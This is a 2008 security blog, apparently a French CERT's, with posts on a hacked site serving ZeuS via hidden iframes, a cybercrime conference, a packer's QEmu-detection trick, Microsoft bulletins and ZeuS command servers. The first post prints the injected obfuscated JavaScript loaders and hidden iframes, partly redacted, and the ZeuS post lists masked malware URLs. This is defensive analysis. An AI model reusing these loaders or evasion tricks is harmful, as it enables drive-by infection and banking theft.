lundi 31 mars 2008

Off-by 0x000000

Today I saw that the front page of 0x000000.com looked empty. Was I going to spend a day without an interesting article to read? No, it wasn't possible!

A quick check of the source code revealed that the main page of this rather famous blog presented some obfuscated Javascript and a call to a suspicious Javascript file called webanalytics.js:

<script src="http://safe.google-xxxxxxxxx.com/webanalytics.js"></script>
<script>
function v47f05eb5a54fc(v47f05eb5a5505)
{ var v47f05eb5a5510=16;
return(parseInt(v47f05eb5a5505,v47f05eb5a5510));}
function v47f05eb5a5544(v47f05eb5a554a)
{  var v47f05eb5a5550=''; for(v47f05eb5a5556=0;
v47f05eb5a5556<v47f05eb5a554a.length; v47f05eb5a5556+=2)
{ 
v47f05eb5a5550+=(String.fromCharCode(v47f05eb5a54fc(v47f05eb5a554a.substr(v47f05eb5a5556, 2))));}
return v47f05eb5a5550;}
document.write(v47f05eb5a5544('3C5343524950543E77696E646F772E7374617475733D2
7446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D37623
63731207372633D5C2768747...'));</script>

whereas the webanalytics.js contained:

function google_irl(google_ryg,google_famas) {
var google_xen = "";
for (var i = 0 ; i < google_ryg.length; ++i)
google_xen += String.fromCharCode(google_famas ^ google_ryg.charCodeAt(i));
return google_xen; }
function google_ritn(google_ftak) { eval(google_ftak); return;}
google_ritn(google_irl("\xcb\xd5\xd2\xd8\xd3\xcb\x92\xcf\xc8\xdd\xc8\xc9\xcf\x81
\x9e\xf8\xd3\xd2\xd9\x9e\x87\xb1\xb6\xd8\xd3\xdf\xc9\xd1\xd9\xd2\xc8\x92\xcb\xce
\xd5\xc8\xd9\x94\x9b\x80\xd5\x9b\x97\x9b\xda\xce\xdd\x9b\x97\x9b\xd1\xd9\x9c\xcf
\xce\x9b\x97\x9b\xdf\x81\x9e\x9b\x97\xc9\xd2\xd9\xcf\xdf\xdd\xcc\xd9\x94\x9b\xd4
\xc8\xc8\xcc\x99\x8f\xfd\x93\x93\x8e\x8c\x8d\x92\x8e\x8d\x84\x92\xxx\xxx\xxx\xxx
\xxx\xxx\xxx\x93\xcb\xd9\xde\xdd\xd2\xdd\xd0\xc5\xc8\xd5\xdf\xcf\x93\xdf\xd3\xc9
\xd2\xc8\x92\xcc\xd4\xcc\x99\x8f\xfa\xd3\x99\x8f\xf8\x8d\x9b\x95\x97\x9b\x9e\x9c
\xcb\xd5\xd8...", 188));

Those 2 scripts happened to be, as expected, 2 i-frames pointing towards a malicious website. This website is said to be in panama, according to the whois record of the ip address, but the domain is resolved by a Russian server. As for the owner, he is using a pseudo, has a Russian email address and is apparently living in Germany. Too much to believe...

The 2 i-frames looked like:

<iframe name=7b671 src='http://url/?100313d5ff' 
width=305 height=340 style='display: none'></iframe>

and

<iframe src="http://201.218.xxx.xxx/webanalytics/count.php?o=1" 
width="0" height="0" style="display:none">

Those i-frames, so widely spread nowadays, are often a sign of a drive-by-download situation. In that case, after a few exploits, a windows executable file is pushed to the browser and executed without any warning. This file (here called getexe.exe) downloads, as its name implies, another executable file called upda.exe. This file is the trojan horse, and will need its configuration file to know the targets. This malware, of the family of ntos/prg/wsnpoem/zeus, is a password stealer targeting banks.

The configuration file is encrypted. Once deciphered (on the fly by the malware), it shows all the targets. Among some of the well-known banking institutions, it seems that some more targets have been added:

...
citibank.ru_balance: section 3
http://login.osmp.ru/*
http://www.osmp.ru/dealer/index.php*
https://www.e-gold.com/acct/acct.asp
https://www.e-gold.com/acct/li.asp
https://www.e-gold.com/acct/balance.asp
https://www.moneybookers.com/app/my_account.pl
https://www.epassporte.com/secure/epassporte.cgi
https://light.webmoney.ru/Default.aspx?l=*
http://money.yandex.ru/*
...

Once again, we learn that being a computer security professional doesn't mean you cannot be hacked. No matter how secure you feel, you should always stay up to date on every aspect of your computer security : run as less services as possible, upgrade your software every time an upgrade is out, run internal audit as often as you can to detect a potentially bad behaviour from your servers, have good IDS/IPS with rules that you understand ...

A high number of popular websites have been hacked recently, through different techniques, supplying unknown malware to their visitors. This easy way of spreading malware will be used more and more.

Today's attack was not a great movie but was somehow something very usual. I hope public awareness and developers' cautiousness will help lower the number of attacks and their impact.

Update: We exchanged some e-mails yesterday with the owner of 0x000000.com , who's been bringing some facts to our attention. At first, 0x000000.com is hosted on a shared server. Then he pointed out that many other domains hosted on the same server had been hacked, which proves that the attack was not targeted, but rather generic. We thank him for this information, and once again we encourage you to read his writings, which are of great interest.

vendredi 21 mars 2008

Forum International Cybercriminalité (FIC) 2008

(Rédacteurs : Cédric Pernet - Vincent Hinderer)

Le tant attendu 2ème Forum International de la Cybercriminalité organisé par la Gendarmerie Nationale a tenu ses promesses. Cet évènement s'est déroulé toute la journée du 21 mars 2008 à Marcq en Bareuil, dans le "Ch'Nord", et a réuni plus de 600 visiteurs. Seul le beau temps n’était finalement pas de la partie, mais l’essentiel n’était bien sûr pas là !

Ce forum proposait conférences plénières et ateliers se déroulant simultanément dans différentes salles, ainsi que quelques stands de professionnels de la sécurité informatique (surtout orientés "forensic"). Les organisateurs ont cependant fort justement laissé une grande place aux échanges informels entre participants. Cela nous a permis de voir ou revoir des contacts travaillant pour les forces de l'ordre (en particulier à la FCCU/RCCU) ou dans la sécurité informatique (Orange, Symantec,...).

Des représentants des forces de l’ordre de Roumanie, d’Estonie ou du Canada avaient par ailleurs fait le déplacement. Leurs interventions ont été enrichissantes, mais ont malheureusement été assez courtes, car les ateliers faisaient la part belle aux tables-rondes au détriment de présentations formelles réalisées par un expert. La présence et l’allocution "déterminée" de Madame le Ministre Alliot-Marie a donné plus d’ampleur encore à cet événement.

Mais l’objectif de la journée était peut-être avant tout de sensibiliser les dirigeants d’entreprises françaises aux risques en provenance d’Internet et de leur permettre de glaner des renseignements et des contacts forts utiles, afin de se prémunir des pièges de la cybercriminalité.



Le programme des ateliers proposés était alléchant et les interlocuteurs de qualité. Voici quelques éléments de synthèse sur cette journée :

2 tables-rondes ont ainsi été consacrées à la pédo-pornographie sur Internet. Il est à noter qu'un "intervenant" (peut-on encore l'appeler ainsi, quand on lit l'histoire de cet individu?) a malheureusement profité de cette tribune pour flatter son ego surdimensionné, sans jamais apporter aucune mesure concrète pour les enquêteurs et les autorités.

Un autre atelier a fait le point sur les données pouvant être récupérées par analyse forensic des téléphones portables. Les nouvelles générations de smartphones, qui embarquent pratiquement les mêmes applications qu'un ordinateur standard, peuvent en effet révéler des mines d'information aux enquêteurs. Encore faut-il savoir manier efficacement et de façon sécurisé ces appareils, afin que les preuves éventuelles amassées puissent être judiciairement exploitées.

Nous avons également suivi dans le même temps l'atelier sur la "protection de la marque du nom de domaine et de la propriété sur Internet". Cette table-ronde a vivement intéressé les chefs d'entreprise présents, confrontés quotidiennement à des atteintes de ce type et très concrètes. Le retour d'expérience d'une société locale a également pu donner des pistes de réflexion à ces entreprises.

L'atelier "Portrait du Cyberdélinquant" nous a quant à lui montré qu'il existe justement une foule d'infractions liées à l'informatique, très variées, et qui ne permettent pas de dresser de profil généraliste. Par contre, une constatation s'impose : nous sommes loin des profils des pirates des années 80-90. Alors qu'une faible minorité pénétrait des systèmes automatisés de données dans un but pécunier (collecte et revente d'informations sensibles, chantages,etc.), l'appât du gain est devenu le principal moteur de nombreux jeunes pirates.

Les risques spécifiques du monde bancaire ont été évoqués au sein de la table ronde "Banque et risque numérique". Nous n'avons pu assister à l'ensemble de cet atelier, mais les risques de fraude interne ont -évidemment- fait l'objet d'un focus particulier. L'atelier "PC et réseaux: droits et obligations de l'entreprise" a synthétisé les responsabilités d'une société on- et offline. L'auditoire y a été particulièrement demandeur en précisions auprès de l'intervenant de la CNIL sur les droits et devoirs du chef d'entreprise, suite à la modification de loi en 2004. Ici aussi, il a beaucoup été question de cybercriminalité "interne"; des interrogations précises, en particulier sur les chartes informatiques (surveillance des salariés, messagerie et outils internes,etc.), ont été soumises aux professionnels du droit présents.

L'atelier "Botnet, Spam : Fléaux pour l'entreprise" se révélait être le plus intéressant à notre sens . Franck VEYSSET (Expert Senior Orange Labs, membre du CLUSIF) nous présentait de façon claire et précise comme à son habitude ce qu'était un botnet, tandis que Laurent HESLAULT (CTO Security Symantec) nous confirmait que le temps des solutions anti-virales basées exclusivement sur des signatures numériques était révolu. La nécessité de travailler sur l'analyse de binaires par étude comportementale prenait ainsi tout son sens. Nous avons particulièrement apprécié la présence du Capitaine GAUDREAU de la Sureté du Québec, doté d'un humour très rafraichissant et sympathique, qui nous exposait le cas des interpellations récentes effectuées par la Sureté du Québec. Monsieur Gaudreau nous exposait ainsi que ce n'était pas l'aspect technique de l'enquête qui avait permis de remonter à la source d'un botnet et arrêter les délinquants impliqués, mais bien une action pro-active dans le milieu underground de ces pirates.


Le facteur de réussite crucial dans la lutte contre la cybercriminalité, sur lequel se sont accordés l'ensemble les intervenants, demeure la nécessité d’améliorer la coopération internationale. On peut ainsi éventuellement regretter qu'un réseau de points de contact tels que les groupements de CERTs (FIRST / TERENA) n’aient pas été mieux représentés et plus mis en avant.

En tout cas, nous remercions les organisateurs (et en particulier l'Adjudant D. Cassel et le Lieutenant-colonel R. Fohrer) d'avoir été en mesure de monter sans faille (sic) un tel événement qui faisait évidemment défaut à nos yeux en France. Nous leur souhaitons bon courage pour l’an prochain et comme convenu, rendez-vous au Zénith! Nos remerciements également à l'escadron de gendarmerie mobile qui a nous a permis de rallier rapidement (et sous escorte!) la cité des échanges.

New pill ?

Dans le monde du malware, la course entre les créateurs de virus et les éditeurs antivirus est bien connue, les premiers essayant de rendre leurs créations les plus invisibles possibles aux yeux des solutions développées par les seconds.
Mais avant que le-dit malware puisse être détecté comme malveillant par un antivirus, il fait l'objet d'une analyse poussée, visant à en comprendre le fonctionnement, pour ainsi en tirer une signature permettant la détection, et une marche à suivre pour la désinfection.
Les créateurs de malware doivent donc maintenant aussi contrer les outils utilisés pour l'analyse, dont le premier est la machine virtuelle, qui permet de lancer un virus sans crainte puisque la restauration d'un système sain se fait en quelques instants.

Un malware récupéré récemment, par le biais d'une bannière Flash malveillante présente sur plusieurs sites web, nous a montré une nouvelle forme de détection de machine virtuelle, impactant QEmu (et probablement Virtual PC, ainsi que VMware sans l'accélération matérielle).

En effet, le packer utilisé, encore non identifié, après avoir déchiffré une partie de lui-même, exécute la fonction asin présente dans la bibliothèque msvcrt. Or, cette fonction retournera dans le registre EAX une valeur différente selon la valeur du registre Control Word de la FPU (typiquement, la valeur 0 sera affectée à EAX si FCW ne vaut pas 0x27F).

Le registre FCW subit une suite d'opérations équivalentes à un ET logique avec le masque 0x23F lors du chargement de la bibliothèque msvcrt.dll (initialisation des registres de la FPU). D'après les spécifications d'Intel, le bit 6 du registre FCW est marqué comme reserved, et il a été constaté que celui-ci était fixé à 1 sur des machines physiques.

Sur une machine physique, FCW aura donc pour valeur 0x27F après le chargement de la bibliothèque. Malheureusement, le mode full emulation de QEmu (i.e. sans utiliser kqemu) ne positionne pas le bit 6 à 1; le registre FCW prend donc la valeur 0x23F, provoquant ainsi une valeur différente d'EAX à la sortie de la fonction asin.

Selon la valeur d'EAX, le malware va initialiser ou non les variables de la boucle de déchiffrement, ce qui provoquera son propre plantage si celles-ci ne sont pas fixées (écriture dans une zone mémoire non autorisée), empêchant ainsi toute analyse.

On peut s'attendre à voir de plus en plus de malwares utiliser ce genre de méthodes de détection, empêchant ainsi les analyses automatisées basées sur des machines virtuelles. La course est loin d'être finie...

mardi 11 mars 2008

Bulletins de sécurité Microsoft de Mars

C'est avec une émotion certaine que je rédige ce billet concernant la mise à disposition des bulletins de sécurité Microsoft du mois de Mars. "Pourquoi tant d'émoi ?" me demanderez vous, il en sort un chaque mois !

Cela est tout à fait vrai, quoiqu'on ait déjà vu un mois sans "Patch Day". Mais celui-ci a une saveur toute particulière, car c'est le premier d'une longue lignée rédigé tout droit de Montréal au Québec. En effet, pour ceux qui ne le sauraient pas encore, le CERT-LEXSI a envoyé certains de ses ingénieurs aux quatre coins du globe. Enfin, pour être plus précis, en deux nouveaux lieux, à savoir Singapour et Montréal. Nos abonnés à la veille technologique auront d'ailleurs remarqué que notre alerte a été publiée plus rapidement que d'habitude ; cette nouvelle implantation mondiale du CERT-LEXSI en est l'explication.

Mais revenons en à nos moutons, et regardons ce que nous a réservé Microsoft aujourd'hui. Il semblerait que les vulnérabilités concernant Microsoft Office sont désormais totalement revenues au goût du jour (après un timide retour le mois dernier) puisqu'elles accaparent tous les bulletins de sécurité Microsoft du mois de Mars.

On se retrouve donc avec quatre bulletins pour un total de douze vulnérabilités, toutes qualifiées de critiques par Redmond. En effet, elles permettent toutes l'exécution de code arbitraire. Seul point un peu plus rassurant, elles requièrent toutes une certaine interaction de la part de la victime pour être exploitées (ouverture de fichiers malicieux, visite d'un site web peu fréquentable, etc.).

Les voici brièvement détaillées :

MS08-014 : sept vulnérabilités dans Excel, dont une ayant déjà fait parler d'elle (Ref. Lexsi 9573) et (Ref. Lexsi 9818).

MS08-015 : vulnérabilité dans le traitement des URIs "mailto:" par Microsoft Outlook (Ref. Lexsi 9819).

MS08-016 : vulnérabilités de type corruption de mémoire (erreur d'allocation mémoire) lors de l'ouverture d'un fichier Excel malveillant (Ref. Lexsi 9820).

MS08-017 : vulnérabilités de type corruption de mémoire lors du traitement de commandes d'exécutions spécialement formées par Office Web Components (Ref. Lexsi 9821).

Pour finir, je crois que je vais répéter le conseil de Fabien qui avait rédigé le billet du mois dernier, à savoir de bien faire attention avant d'ouvrir des fichiers Office provenant d'une source non sûre. En effet, on fait déjà face à une exploitation active d'une vulnérabilité Excel corrigée dans le bulletin MS08-014, comme nous l'indique très justement Maarten Van Horenbeeck du SANS Institute dans son billet d'hier : Active exploitation of Excel vulnerability.

ZeuS and his thunderbolts

In Greek mythology, Zeus is the king of all Gods. He is powerful and can strike any time any where using his thunderbolts. In computer security, ZeuS is just another powerful malware, also known as PRG, ZBOT, or NTOS by some AV editors.

At first, ZeuS was sold on the black market, and could be configured to the buyer's desire. It has mainly bot capabilities at that time, and its popularity quickly grew in the pirates community. But this fame was a bit too much for its author, who is believed to have stopped selling it. Yet new variants still continue to arrive on a daily basis, either produced by the original author or by other malware programmers. It got a lot of improvements, and is now a very nasty and active banking trojan. We have been watching it evolve for months, but recently we noticed a slight increase in the amount of PRG spreading around.

Last night, I got 18 different variants of ZeuS downloaders. A variant means that the binary is not exactly the same, each one having a different MD5 (or SHA256) hash. Therefore, I decided it was high time to make some comparisons between these variants. "Grep" in one hand, "sort" and "uniq" in the other (after all I'm a geek), I started digging the different configurations I had in my possession. My goal was getting the different command&control (or C&C) servers of these trojans.

At first glance, it was obvious that the configuration files were not exactly the same, as they were targeting different banking institutions. I could for example find one specific bank in a single file, but not in the others. Furthermore, some other banks were specifically targeted by some variants, and some were in all. Also, the c&c server and the PHP script collecting the data were stored on different servers. From the 18 downloaders I had, there were 8 different places where the scripts could be found :

http://195.2.x.x/11/s.php
http://195.2.x.x/11/s.php/11/s.php
http://195.2.x.x/11/s.php5
http://195.93.x.x/~xxx/a5y5ju79h/s.php
http://195.93.x.x/xxx/a5y5ju79h/s.php
http://202.75.x.x/zeus/s.php
http://xxx.la/vvv/s.php
http://xxx.la/vvv/s.php/vvv/s.php3

Most of these scripts are not surprisingly hosted in Russia, while some are in Malaysia.

As for the places where all the downloaders connect to retrieve the actual Trojan, we discovered that there were only 4 different locations:

http://195.2.x.x/hh/ldr.exe
http://195.2.x.x/11/ldr.exe
http://85.255.x.x/download/1013.exe
http://xxxxxxx-xxxxxxxx.com/images/m.exe
Russian, Ukrainian, and Turkish IPs are hosting these malicious binaries.

As for their detection by AV products, it is luckily quite high for the 18 downloaders : an average of 20 AV editors out of 32 (from VirusTotal.com) are recognizing these variants. But for the trojan itself, "m.exe", and "ldr.exe", were only detected by three AV editors at the time of this writing.

You can find more info about ZeuS on Kaspersky's Viruslist.com here.